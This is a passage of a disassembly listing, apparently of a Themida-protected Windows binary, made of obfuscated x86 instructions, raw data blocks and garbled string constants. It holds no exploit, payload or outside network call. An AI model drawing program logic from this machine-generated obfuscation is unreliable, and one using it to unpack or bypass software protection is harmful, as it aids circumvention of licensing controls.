5F54243Ch, 7C25BD55h, 0ED8175F8h, 75F87C21h dd 711EBE56h, 0F7295B39h, 0CC7815Eh, 149BC5Ch, 0CB850EFh dd 2949BC5Ch, 0DEE958C7h db 9Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55517F: ; CODE XREF: Themida_:00559AEBj push ebx jmp loc_56391C ; --------------------------------------------------------------------------- db 57h, 0BFh, 4 dd 1000000h, 3646E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555192: ; CODE XREF: Themida_:00552B59j xchg ebp, [esp] pop esp jmp loc_551FEE ; --------------------------------------------------------------------------- db 81h dd 37D10DE9h, 24B951C0h, 8962B23Fh, 0D017E9CBh, 3C89FFFFh dd 6839BF24h, 514F2B6Bh, 386DE9h, 0EDC28100h, 0E9C2D6A0h dd 7C3Ah, 505A5452h, 4B8h, 7C1E900h, 48B0001h, 102CE924h dd 0EC830000h, 241C8904h, 4EC81h, 3C890000h, 3D3BF24h dd 10BB56A6h, 1FE2D64h, 0EAE95FFBh, 680000B9h, 5A66h, 0BA241489h dd 99B6BF0h, 0B951h, 0D1290000h, 0E959CA89h, 0A49Fh ; --------------------------------------------------------------------------- loc_55521C: ; CODE XREF: Themida_:0055BE2Dj sub esp, 4 mov [esp], ebx mov ebx, 0A2002C5h jmp loc_5533CE ; --------------------------------------------------------------------------- db 81h dd 596481F6h, 0E9F12169h, 1ACBh ; --------------------------------------------------------------------------- loc_55523C: ; CODE XREF: Themida_:0055A276j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi mov edi, 0FFFFFFFFh jmp loc_555C79 ; --------------------------------------------------------------------------- dw 9DBAh dd 19D23B6h, 0D0015BDAh, 0E089505Ah, 9D86E9h, 81E68900h dd 4C6h, 4EE8300h, 4379E9h db 0 ; --------------------------------------------------------------------------- loc_55527D: ; CODE XREF: Themida_:00559C8Dj add esp, 4 pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 push 3005h mov [esp], esi push esp pop esi jmp loc_551805 ; --------------------------------------------------------------------------- dw 0D731h dd 5EF42D5Ah, 8DE95C90h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5552AB: ; CODE XREF: Themida_:0055A99Fj mov [esp], eax mov eax, esp push 6703h mov [esp], ecx push edi mov edi, 253774CDh dec edi jmp loc_5612FD ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 8704EA83h, 0E95C2414h, 0FFFFCD38h, 0B7E4E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5552DE: ; CODE XREF: Themida_:0055C186j mov esp, [esp] jmp loc_555BE9 ; --------------------------------------------------------------------------- loc_5552E6: ; CODE XREF: Themida_:0055DBE4j pop ecx sub esi, ebp push dword ptr [esp] jmp loc_5655C3 ; --------------------------------------------------------------------------- loc_5552F1: ; CODE XREF: Themida_:0055A2B6j push 3D2C7475h pop ebx jmp loc_56480C ; --------------------------------------------------------------------------- dword_5552FC dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFFBC53h ; DATA XREF: Themida_:00550DB0o ; --------------------------------------------------------------------------- loc_55530C: ; CODE XREF: Themida_:0056478Fj xchg ebp, [esp] pop esp jmp loc_565A0F ; --------------------------------------------------------------------------- db 66h, 5Fh, 0E9h dd 0FFFFE44Ch, 4BFh, 84EA8100h, 1183E45h, 5A8E9FAh db 1, 0 ; --------------------------------------------------------------------------- loc_55532E: ; CODE XREF: Themida_:00564F70j add ebx, 4 xchg ebx, [esp] pop esp sub ecx, 72F014B9h sub ecx, 784C6F67h sub ecx, edi add ecx, 784C6F67h push edi jmp loc_564A8E ; --------------------------------------------------------------------------- loc_55534F: ; CODE XREF: Themida_:0055841Cj push edi mov edi, 579916CEh dec edi not edi jmp loc_55602F ; --------------------------------------------------------------------------- db 68h, 0ADh, 2Bh dd 1CE90000h, 57000064h, 3A60A1BFh, 5FF98940h, 17E95341h dd 0C00000FEh, 0C3FE04E3h, 4DE9C3FEh db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555383: ; CODE XREF: Themida_:00557B4Ej push 25543773h push dword ptr [esp] mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5657B5 ; --------------------------------------------------------------------------- byte_5553A5 db 64h, 8Fh, 2 ; DATA XREF: Themida_:00550DACo dd 0FFBBB2E9h, 580EBEFFh, 0B8505337h, 699660D9h, 1BD55h dd 0E8010000h, 0D0B2E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5553C6: ; CODE XREF: Themida_:00554EAEj push 3347h jmp loc_5538FF ; --------------------------------------------------------------------------- dd 592434FFh, 4C481h, 48F0000h, 24248B24h, 24048B66h, 4A8268h dd 804DE900h, 0E5890000h, 4B951h, 0CD010000h, 4C58159h dd 33000000h, 2C31242Ch, 0F925E924h, 0D1890000h, 81D1F75Ah dd 96D275F1h, 0FFCF29D3h, 0A4E92434h db 0E7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55541F: ; CODE XREF: Themida_:0055C61Cj mov [esp], ecx push edx jmp loc_553DD2 ; --------------------------------------------------------------------------- dd 4D07EDC1h, 0AD44F581h, 0E8290C48h, 8BC7315Dh, 1DE92404h db 7Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55543F: ; CODE XREF: Themida_:0055D976j pop dword ptr [esp] jmp loc_55BBA6 ; --------------------------------------------------------------------------- loc_555447: ; CODE XREF: Themida_:00558291j sub eax, 0FFFFFFFFh xor eax, 7AA8781Dh jmp loc_557FB9 ; --------------------------------------------------------------------------- aNr6@mvbuXMs_ db '╜R╨6@MV│НЁx&mИ╟_',0 ; DATA XREF: Themida_:00550E4Co align 2 word_555466 dw 28Fh ; DATA XREF: Themida_:00550F14o dd 0FFBAF2E9h, 0F5F181FFh, 1E728A8h, 0BB5359CFh, 25175E4Fh dd 3617E9h, 0C7815800h, 737C6D42h, 5E3C781h, 0DF01757Bh dd 5E3EF81h, 0EF81757Bh, 737C6D42h, 6853525Bh, 5AF66C51h dd 8A07E9h, 0BF665700h, 0BB667892h, 166E2E9h, 0C1665FFBh dd 665202EBh, 66545EBAh, 9CBF6657h, 6BC3E933h, 0F3890000h dd 7AEEE9h db 0 ; --------------------------------------------------------------------------- loc_5554D1: ; CODE XREF: Themida_:0055D1C6j pop esp jmp loc_550F5F ; --------------------------------------------------------------------------- loc_5554D7: ; CODE XREF: Themida_:0056385Bj xchg eax, [esp] pop esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5654AF ; --------------------------------------------------------------------------- loc_5554EC: ; CODE XREF: Themida_:00559C6Fj add esi, edi pop edi jmp loc_55C1A8 ; --------------------------------------------------------------------------- dd 4BA52h, 54010000h, 5D5A0424h, 0D18AE957h, 0FD01FFFFh dd 51E1C581h, 3CE92A1Bh db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555513: ; CODE XREF: Themida_:00559294j push ebp jmp loc_55D1DF ; --------------------------------------------------------------------------- db 56h, 68h, 0 dd 8900005Dh, 0E0892404h, 405h, 42D00h, 4870000h, 0EC815C24h dd 4, 81242489h, 42404h, 48F0000h, 24048124h, 4, 0B44AE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555552: ; CODE XREF: Themida_:00564AC0j sub ecx, 5E904A1h add ecx, eax add ecx, 5E904A1h sub ecx, 464F0F0Fh push ebp mov ebp, 24C3075Bh sub ecx, ebp pop ebp sub ecx, 45D33BE0h add ecx, 768809DAh mov eax, [esp] add esp, 4 jmp loc_55BB02 ; --------------------------------------------------------------------------- db 81h, 0EAh, 0F3h dd 8B52361Dh, 0C4832434h, 24148704h, 8E30E9h, 3C895C00h dd 288BF24h, 0BB537E49h, 1, 1C8BDF01h, 7745E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5555B6: ; CODE XREF: Themida_:0055ABFDj mov eax, 0 add eax, ecx push ebx mov ebx, 0 jmp loc_5573DE ; --------------------------------------------------------------------------- dd 0E9243C8Bh, 0F51h, 8104E3C1h, 1C3h, 50EB8100h, 0E9049D09h dd 2DC6h, 4BDh, 506E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5555EE: ; CODE XREF: Themida_:00557382j shr esi, 5 shl esi, 3 push edx mov edx, 2E376752h jmp loc_564EEF ; --------------------------------------------------------------------------- db 4Fh dd 7373F781h, 0F4E9534Eh, 5DFFFFDFh, 5658C589h, 327FD1BEh dd 77B95153h, 81042172h, 0E51CAEE9h, 0E9CF29A6h, 80CDh ; --------------------------------------------------------------------------- loc_555628: ; CODE XREF: Themida_:00550F60j xor al, bl push eax jmp loc_5640AD ; --------------------------------------------------------------------------- dd 57E9F766h, 0C781E789h, 4, 4EF81h, 3C870000h, 0C895C24h dd 918CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55564E: ; CODE XREF: Themida_:00558DD3j push ebp mov ebp, 80h and ecx, ebp mov ebp, [esp] push ebp mov ebp, esp push ebx mov ebx, 5191101Eh jmp loc_559159 ; --------------------------------------------------------------------------- loc_555667: ; CODE XREF: Themida_:00563D72j push ebp mov ebp, 143251A9h add eax, ebp pop ebp jmp loc_5595FE ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 88h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55567B: ; CODE XREF: Themida_:005525B3j pop esi sub esp, 4 mov [esp], ecx mov ecx, edi push ecx pop ebp pop ecx pop edi pop ebx and eax, ebp push dword ptr [esp] jmp loc_55274E ; --------------------------------------------------------------------------- loc_555696: ; CODE XREF: Themida_:005637C4j shl edx, 1 sub edx, 3FE69F08h mov esi, edx pop edx sub ebx, 4C75759Ch sub ebx, esi add ebx, 4C75759Ch mov esi, [esp] jmp loc_55BE05 ; --------------------------------------------------------------------------- db 81h dd 0FFFFFFEBh, 0C2B951FFh, 9397915h, 0C38159CBh, 0DCA9A82Fh dd 9FA1E9h, 241C8900h, 4BBh, 3E98100h, 1427370h, 3C181D9h dd 5B427370h, 31240C33h, 0C33240Ch, 89515C24h, 4C181E1h dd 81000000h, 4ECh, 0BAB1E900h db 2 dup(0) word_555706 dw 34FFh ; DATA XREF: Themida_:00550F0Co aZpsiusx db '$ZPS┴ЦИx:',0 db 0 ; --------------------------------------------------------------------------- loc_555713: ; CODE XREF: Themida_:00558E49j xor ecx, 23965DA7h mov eax, ecx pop ecx mov ebx, eax push dword ptr [esp] pop eax push edx mov edx, esp push ebp mov ebp, 5FF028A0h shr ebp, 7 push esi mov esi, 5A180823h xor ebp, esi pop esi shr ebp, 1 xor ebp, 2D53F43Dh add edx, ebp jmp loc_551EB0 ; --------------------------------------------------------------------------- dw 0CA01h dd 0FC17E9h, 49C68100h, 0E9E49901h, 5B1Fh, 0E9243C89h dd 0FFFFFBBCh ; --------------------------------------------------------------------------- loc_555760: ; CODE XREF: Themida_:00555A64j add edi, 258B7CDDh neg edi xor edi, 0E70B7099h xor esi, edi pop edi add ebp, esi pop esi add ebp, 4 jmp loc_55A0CA ; --------------------------------------------------------------------------- loc_55577C: ; CODE XREF: Themida_:00559FA6j add esp, 4 jmp loc_55AF29 ; --------------------------------------------------------------------------- aI4S?o db '┴4$И?╝',0 dw 5100h aIsske db '┴АИ┼E',0 db 0 ; --------------------------------------------------------------------------- loc_555797: ; CODE XREF: Themida_:00554A01j add eax, 4 add eax, 4 xchg eax, [esp] pop esp xchg ecx, [esp] pop esp push 177Ch jmp loc_554B55 ; --------------------------------------------------------------------------- loc_5557B3: ; CODE XREF: Themida_:0055C506j push esi not dword ptr [esp] pop esi neg esi xor esi, 5EB46A3Ah mov edx, esi pop esi mov esi, 0B68792CAh sub esi, edx pop edx jmp loc_561D27 ; --------------------------------------------------------------------------- dd 0EC81C6FEh, 2, 240C8966h, 88F78853h, 241C8BFDh, 0F604C483h dd 0C98E9D5h, 0F3810000h, 1BB64E6Bh, 215BDA89h, 0BE565AD1h dd 6C0F21B3h, 0E908EEC1h, 0FFFFFA27h, 0B6685756h, 5F0E7328h dd 1198E9h db 0 ; --------------------------------------------------------------------------- loc_555815: ; CODE XREF: Themida_:005629C5j mov [esp], ecx mov ecx, 4 sub eax, 3EFB6725h add eax, ecx jmp loc_5512FB ; --------------------------------------------------------------------------- db 52h, 0BAh, 2 dd 81000000h, 956EFC6h, 81D60152h, 956EFEEh, 24148B52h dd 4C481h, 34330000h, 0BF46E924h, 34FF0000h, 0BE95D24h dd 43000005h, 5DD2C381h, 1105C9B8h, 297EF568h, 68112DD8h dd 1C8B7EF5h, 4C48124h, 56000000h, 614268h, 243C8900h dd 265DAA68h, 0EAFBE970h, 8B660000h, 0C481241Ch, 2, 52CE9h dd 24148900h, 0BAh, 0CFEA8100h, 295B382Eh, 0CFC281FAh dd 0E95B382Eh, 6C9Fh, 0E9241431h, 0FFFFE006h, 8924248Bh dd 2C812404h, 0F756B924h, 40478F5Ah, 0B0E7E9h, 59C38100h dd 29540C22h, 37E952C3h, 5AFFFFD4h, 348BF389h, 4C48324h dd 875BDE29h, 0E95C2434h, 128Ah ; --------------------------------------------------------------------------- loc_5558F0: ; CODE XREF: Themida_:0055F3E0j add ebp, ecx sub ebp, 6ED712E6h push edx mov edx, 5F7375A8h add ebp, edx pop edx pop ecx jmp loc_55FDDD ; --------------------------------------------------------------------------- loc_555907: ; CODE XREF: Themida_:0055D98Bj push small 7B2Fh mov [esp], ax mov al, 0BAh push edx mov dl, al mov ch, dl pop edx pop ax push eax push ebx mov bl, ch mov al, bl jmp loc_56096D ; --------------------------------------------------------------------------- dd 0E924348Bh, 0FEBh, 0BB241C89h, 50753C15h, 0D3F7D3F7h dd 0DA18E9h db 0 ; --------------------------------------------------------------------------- loc_55593D: ; CODE XREF: Themida_:00560F05j add ecx, edi add ecx, 53DD1572h sub ecx, 1938582Eh push eax mov eax, 627F1592h sub eax, 236E55B6h or eax, 2CEF3013h jmp loc_563501 ; --------------------------------------------------------------------------- dword_555960 dd 24048B66h, 4EC81h, 4AE90000h ; DATA XREF: Themida_:00550C9Co db 5Bh, 2 dup(0) byte_55596F db 0FFh ; DATA XREF: Themida_:00550EC4o dd 34FF2434h, 0E9525924h, 0CF9Ch, 24048966h, 0C30017B0h dd 24048B66h, 0B24FE9h, 5E1C000h, 15F96866h, 24048966h dd 0E29AE9h, 0F5015E00h, 3418ED81h, 0FEE908F7h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5559AB: ; CODE XREF: Themida_:0055D8BEj add bl, dh pop dx movzx eax, al mov dx, [esp] sub esp, 4 mov [esp], ebp jmp loc_5650F5 ; --------------------------------------------------------------------------- loc_5559C4: ; CODE XREF: Themida_:00560A79j inc edx sub esp, 4 mov [esp], ebx mov ebx, 38752DD5h xor edx, ebx pop ebx jmp loc_552164 ; --------------------------------------------------------------------------- db 52h dd 0E156A5BAh, 5AD33166h, 24048153h, 162D2041h, 41ED815Dh dd 5B162D20h, 59A4E9h, 0FAE95C00h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5559FF: ; CODE XREF: Themida_:0055D5A9j push ecx mov ecx, 5F332508h inc ecx sub ecx, 0FFFFFFFFh shl ecx, 2 sub ecx, 719B180Bh push eax mov eax, 7AE207FAh neg eax neg eax add eax, 74BD4FE6h xor eax, 0F33C7B8Fh jmp loc_557AFF ; --------------------------------------------------------------------------- db 81h dd 4C4h, 241C8700h, 35ECE9h db 0 ; --------------------------------------------------------------------------- loc_555A39: ; CODE XREF: Themida_:0055D03Cj push 5FDDh mov [esp], esi push esp mov esi, [esp] add esp, 4 push edi mov edi, 4 jmp loc_5636BC ; --------------------------------------------------------------------------- aS2 db '[И╟2',0 align 4 loc_555A5C: ; CODE XREF: Themida_:0055399Fj mov edi, 519C5D2Dh neg edi dec edi jmp loc_555760 ; --------------------------------------------------------------------------- db 66h, 0BEh, 16h dd 0BB6653CDh, 81666D20h, 660E53C3h, 4A50EB81h, 66DBF766h dd 0BEE9E94Bh, 5A54FFFFh, 1011E9h, 324BBD00h, 0DDF746EAh dd 0C106E5C1h, 3BE904EDh, 0BF000092h, 632B2553h, 3AD5E9h dd 24148900h, 8E342CBAh, 0F8CA8175h, 81706A03h, 1638B0CAh dd 81DAF75Bh, 3750A0C2h, 0A591E98Dh, 0E7800000h, 2EF8065h dd 0FFC574E9h db 0FFh ; --------------------------------------------------------------------------- loc_555AD5: ; CODE XREF: Themida_:0055D7B5j sub esi, 3F9E684Bh and esi, 245E3A23h inc esi push ebx push 6D6E5B3Eh pop ebx push esi mov esi, 24584712h jmp loc_55737C ; --------------------------------------------------------------------------- dd 4246C01h, 240C8B5Dh, 4C481h, 0EC830000h, 242C8904h dd 0C581E589h, 4, 4ED81h, 0E4E90000h db 0CEh, 2 dup(0) byte_555B1B db 66h ; DATA XREF: Themida_:00550D1Co dd 57240C8Bh, 0C781E789h, 4, 44A8B951h, 0C1817645h, 7CC06E0Bh dd 5DE0E981h, 0D9F78AB6h, 181EE9h, 24148900h, 4B80E9h db 0 ; --------------------------------------------------------------------------- loc_555B49: ; CODE XREF: Themida_:00558A70j push ebp mov ebp, 75E35F63h sub eax, 61821C9Fh jmp loc_55880F ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 4C1h, 4BB5300h, 1000000h, 0C875BD9h, 267BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555B76: ; CODE XREF: Themida_:00561468j mov [esp], edx jmp loc_56091F ; --------------------------------------------------------------------------- dw 47BFh dd 811FC65Fh, 0C65F43F7h, 8BFE891Fh, 0C481243Ch, 4, 685EF301h dd 4391h, 89242C89h, 4C581E5h, 81000000h, 4EDh, 242C3300h dd 0FFEC9EE9h, 81CB01FFh, 5B460CC3h, 0FF535977h, 5B042474h dd 8B24048Fh, 0EC812424h, 4, 882AE9h db 0 byte_555BD5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00550C8Co dd 0BE02E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555BDE: ; CODE XREF: Themida_:00563D9Cj mov esi, [esp] sub esp, 4 jmp loc_562133 ; --------------------------------------------------------------------------- loc_555BE9: ; CODE XREF: Themida_:005552E1j push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] add esp, 4 push edi push esp pop edi push 2C72h jmp loc_554ADB ; --------------------------------------------------------------------------- loc_555C05: ; CODE XREF: Themida_:005533C0j push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax add eax, 4 jmp loc_564B6D ; --------------------------------------------------------------------------- dd 0A7E9F031h, 8000004Bh, 0E688B8ECh, 66F78858h, 0E924148Bh dd 0C15Ah, 5F241489h, 0FFF7315Ah, 815E2434h, 4C4h, 3EFC100h dd 0E904EC83h, 858Eh, 0A45C2C05h, 395AE918h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555C56: ; CODE XREF: Themida_:005571BFj mov ebx, edi pop edi add edx, ebx pop ebx xor edx, [esp] xor [esp], edx jmp loc_552529 ; --------------------------------------------------------------------------- db 50h dd 0BB53h, 89520000h, 0D78957DAh, 0D60FE9h db 0 ; --------------------------------------------------------------------------- loc_555C79: ; CODE XREF: Themida_:00555255j add edx, edi push dword ptr [esp] pop edi push edi jmp loc_563420 ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 4 dd 8308E1C1h, 99E904ECh, 0BDFFFFFCh, 4, 0CB5EE705h, 76292D3Ch dd 0E80154B5h, 576A68h, 243C8900h, 0FB055BBFh, 0F949E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555CB6: ; CODE XREF: Themida_:00551DEAj push esi push ebp mov ebp, 2E5A69E0h mov esi, ebp pop ebp and esi, 53377FEAh add esi, 2E7C137Fh sub esi, 7E486B76h sub edi, esi mov esi, [esp] jmp loc_556D9C ; --------------------------------------------------------------------------- loc_555CDC: ; CODE XREF: Themida_:0055675Dj add edi, 1 not edi jmp loc_55512C ; --------------------------------------------------------------------------- dw 37B8h dd 0C108294Ch, 0C14806E8h, 0E94803E8h, 8B5Dh, 8904EC83h dd 0E0892404h, 8904EC83h, 4BF243Ch, 1000000h, 0EC835FF8h dd 241C8904h, 0B237E957h, 50660000h, 0CBA4E9h, 240C8B00h dd 8704C483h, 0E95C2434h, 56EDh, 9CCFED81h, 0E889BF83h dd 0E9242C8Bh, 6B8Ah ; --------------------------------------------------------------------------- loc_555D40: ; CODE XREF: Themida_:00553F82j sub eax, 18FA0227h add eax, 58D53A8Ch sub eax, esi sub eax, 58D53A8Ch push ecx mov ecx, 18FA0227h add eax, ecx pop ecx mov esi, [esp] jmp loc_55CC8E ; --------------------------------------------------------------------------- dw 0C481h dd 4, 1C381h, 0CEE90000h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555D73: ; CODE XREF: Themida_:005592A3j push ecx mov ecx, 43055A36h mov esi, 7E487565h xor esi, ecx pop ecx or esi, 41044E34h inc esi shl esi, 7 xor esi, 81CFF764h jmp loc_5529DF ; --------------------------------------------------------------------------- loc_555D96: ; CODE XREF: Themida_:00563018j push edi mov edi, 0E8B31E6h add [esp+8], edi pop edi add [esp+4], ebp push ecx mov ecx, 0E8B31E6h sub [esp+8], ecx pop ecx mov ebp, [esp] add esp, 4 pop eax push ebp push edi jmp loc_55AA30 ; --------------------------------------------------------------------------- db 53h, 0B3h, 0A4h dd 0EBC0CBFEh, 0E9516606h, 0CED2h ; --------------------------------------------------------------------------- loc_555DD0: ; CODE XREF: Themida_:005548E4j mov esi, [esp] add esp, 4 mov edx, [esp] add esp, 4 push 31F8h mov [esp], eax mov eax, 799A72E6h shl eax, 2 not eax dec eax add eax, 2E8040C6h jmp loc_5536C5 ; --------------------------------------------------------------------------- loc_555DFF: ; CODE XREF: Themida_:00564F79j push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5635FC ; --------------------------------------------------------------------------- loc_555E13: ; CODE XREF: Themida_:00557DC1j pop esp push 590Eh mov [esp], ecx push 67F34E19h pop ecx xor eax, ecx push dword ptr [esp] mov ecx, [esp] push 7CE3h mov [esp], esi mov esi, esp push ebp mov ebp, 4 add esi, ebp pop ebp add esi, 4 xchg esi, [esp] jmp loc_554C09 ; --------------------------------------------------------------------------- db 5Ch dd 4C281h, 0EA810000h, 4, 31241433h, 63E92414h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555E63: ; CODE XREF: Themida_:005629FAj pop ebx add esp, 4 pop ecx jmp loc_556DBF ; --------------------------------------------------------------------------- loc_555E6D: ; CODE XREF: Themida_:00563561j push dword ptr [esp] pop ecx add esp, 4 shl ecx, 6 jmp loc_5613F4 ; --------------------------------------------------------------------------- db 8Fh dd 0E5E92404h, 0BB000002h, 5DF84EE8h, 6B77E9h db 0 ; --------------------------------------------------------------------------- loc_555E91: ; CODE XREF: Themida_:0055783Dj mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_55A9A4 ; --------------------------------------------------------------------------- dw 5F53h dd 0E92434FFh, 0EDF6h, 1876BD55h, 0C581383Bh, 4079642Dh dd 0FFCA57E9h, 243C89FFh, 0FFDE11E9h, 1BBF57FFh, 0C1742024h dd 814703EFh, 1C7h, 0EC685600h, 5EDB0AACh, 0FFEFA9E9h dd 4BDFFh, 6C810000h, 6500424h, 6C016CB6h, 44810424h, 6500424h dd 34FF6CB6h, 89505D24h, 405E0h, 0C0830000h, 24048704h dd 0A421E95Ch, 0F3290000h, 0FFD4BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_555F21: ; CODE XREF: Themida_:0055D41Ej neg ebx jmp loc_55987B ; --------------------------------------------------------------------------- dword_555F28 dd 240C8B66h, 3F1868h, 242C8900h, 242C8B54h, 81E18951h ; DATA XREF: Themida_:00550DE4o dd 4C1h, 4C18300h, 0DCA9E9h, 242C8B00h, 104C483h, 68535DEAh dd 42E6h, 0E9240C89h, 0FFFFC22Ch, 0EDBD5543h, 0E9383849h dd 63C6h ; --------------------------------------------------------------------------- loc_555F6C: ; CODE XREF: Themida_:00556ABFj xchg ebp, [esp] pop esp jmp loc_5537CB ; --------------------------------------------------------------------------- db 53h, 0BBh, 0DFh dd 812C8D3Ch, 317AE5C1h, 53D90163h, 74442BBh, 0A7F3816Ah dd 2909363Eh, 46E95BD9h, 54FFFFEFh, 81240C8Bh, 4C4h, 0F476E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555FA6: ; CODE XREF: Themida_:0055A677j pop esp sub esp, 4 mov [esp], edi push 5DDh mov [esp], eax mov eax, 73C96EABh push esi mov esi, 0C8522E8h or eax, esi push dword ptr [esp] pop esi add esp, 4 push edi jmp loc_55DC39 ; --------------------------------------------------------------------------- dw 535Bh dd 42028BBBh, 53B1E927h, 0C4830000h, 0CFB7E904h, 575C0000h dd 9668E789h, 8900001Ch, 73B82404h, 55418462h, 0E0CFEBDh dd 0FEF58148h, 817A931Dh, 0E52E4EC5h, 0FFED817Ah, 0E9FFFFFFh dd 0AC13h, 0E112E959h, 1B80000h, 1000000h, 0E68158C6h dd 0BD72B5Ah, 0B6E95546h db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55602F: ; CODE XREF: Themida_:00555358j push esi mov esi, 368228DBh or edi, esi pop esi jmp loc_55A821 ; --------------------------------------------------------------------------- db 1, 0F1h, 0E9h dd 6B56h dword_556044 dd 8B2434FFh, 36682404h, 89000030h, 0B0E9240Ch, 810000DEh ; DATA XREF: Themida_:00550CC0o dd 4C4h, 8BF20100h, 0C4812434h, 4, 0F078E9h, 0E956B200h dd 0E02h, 0BD242C89h, 6B5A27D1h, 53EFE581h, 0ED816A29h dd 57A930C5h, 4D08EDC1h, 0BB53D5F7h, 5133055Dh, 0CFB8504Bh dd 257AF51Dh, 31287DB1h, 1E49A025h, 8E8C15Fh, 3506E0C1h dd 2BCA1246h, 8158C301h, 1EBh, 0A2C38100h, 1AD2C53h, 241C8BDDh dd 7B7DE953h, 1C330000h, 241C3124h, 0E9241C33h, 0FFFFB556h ; --------------------------------------------------------------------------- loc_5560D8: ; CODE XREF: Themida_:005528B0j add ebp, 52B14212h jmp loc_55E712 ; --------------------------------------------------------------------------- aIHd db '┴<$hD*',0 dw 8900h dd 4832424h, 535F0424h, 0C381E389h, 4, 4EB81h, 1C870000h dd 9F85E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55610A: ; CODE XREF: Themida_:0055DA26j add ebx, eax sub ebx, 13B82C08h jmp loc_557B5D ; --------------------------------------------------------------------------- aYqsr db '(хYQИ░',9,0 align 10h dword_556120 dd 9D1C77FFh, 14D25966h, 30E99C24h, 89FFFFAEh, 31B9240Ch ; DATA XREF: Themida_:00550CECo dd 81641A62h, 469B60F1h, 59CB2961h, 555BD901h, 4BDh, 8BE90100h dd 8950242Ch, 405E0h, 0C0830000h, 8E3BE904h, 15F0000h dd 6AC581FDh, 0E975126Ch, 0CBB6h, 5524248Bh, 4BDh, 5DE80100h dd 1C6968h, 0EDFCE900h, 0E9520000h, 81A8h, 81C3295Fh, 0C53DD8EBh dd 6CEB8125h, 52095B4Ch, 0F175D8BAh, 0DD95E937h, 0C481FFFFh dd 4, 5F82C681h, 0D6016AC9h, 5F82EE81h, 72E96AC9h, 5000072h dd 3EC0612Bh, 2B2DD001h, 0E93EC061h, 0C01Dh, 379BED81h dd 0C50146DCh, 379BC581h, 48B46DCh, 4C48124h, 55000000h dd 42474FFh, 24048F5Dh, 0BC1CE95Ch, 0EF810000h, 4, 5C243C87h dd 52242C89h, 1978A5BAh, 0CAA9E968h, 0C4810000h, 4, 48ABC681h dd 0EE812591h, 5DCC3324h, 0C681EE29h, 5DCC3324h, 48ABEE81h dd 0F75D2591h, 4E6C1DEh, 37A5C681h, 9AE9548Ch, 310000E8h dd 24148BD7h, 6804C483h, 238h, 89241C89h, 5BD889FBh, 18DDE95Fh dd 48B0000h, 4C48124h, 68000000h, 7B41h, 54243C89h, 0E9243C8Bh dd 920Dh, 0E587E959h, 8C0DFFFFh, 3515F849h, 348E2F30h dd 0A47CE335h, 58C53164h, 8103EDC1h, 225680CDh, 0CBED8146h dd 564E2BD6h, 0F289EE89h, 57215D5Eh, 2BAE91Ch, 0E9550000h dd 8960h, 1986C381h, 0CB2976DBh, 6F54E9h db 0 ; --------------------------------------------------------------------------- loc_5562B9: ; CODE XREF: Themida_:0055EF0Ej push edi push 6F3Ch mov [esp], esi mov edi, [esp] push edi mov edi, esp push esi mov esi, 4 jmp loc_5642B5 ; --------------------------------------------------------------------------- db 89h dd 0BE562414h, 6C512575h, 0FFBC76E9h db 0FFh ; --------------------------------------------------------------------------- loc_5562E1: ; CODE XREF: Themida_:005605E5j push 571Dh mov [esp], edi mov edi, 19A51D61h jmp loc_55BE55 ; --------------------------------------------------------------------------- loc_5562F3: ; CODE XREF: Themida_:0056324Bj add ecx, edx pop edx push edx jmp loc_5658AB ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C481240Ch, 4, 537A68h, 240C8900h, 56E18951h dd 1027C0BEh, 26ADE96Fh, 2C330000h, 4015C24h, 34E99C24h dd 45FFFFACh, 0ED81DDF7h, 0C562ADC7h, 0E95DE801h, 0A702h dd 314468h, 242C8900h, 95BAE9h db 0 ; --------------------------------------------------------------------------- loc_556349: ; CODE XREF: Themida_:0055491Cj add dword ptr [esp], 21950E49h pop esi push edx mov edx, 21950E49h sub esi, 33240320h sub esi, edx add esi, 33240320h pop edx mov eax, [esp] add esp, 4 jmp loc_560F64 ; --------------------------------------------------------------------------- loc_556371: ; CODE XREF: Themida_:0055FA4Bj jmp loc_554EA2 ; --------------------------------------------------------------------------- dw 0D8F7h dd 3006C935h, 5A07E9FEh, 670D0000h, 0E92A0132h, 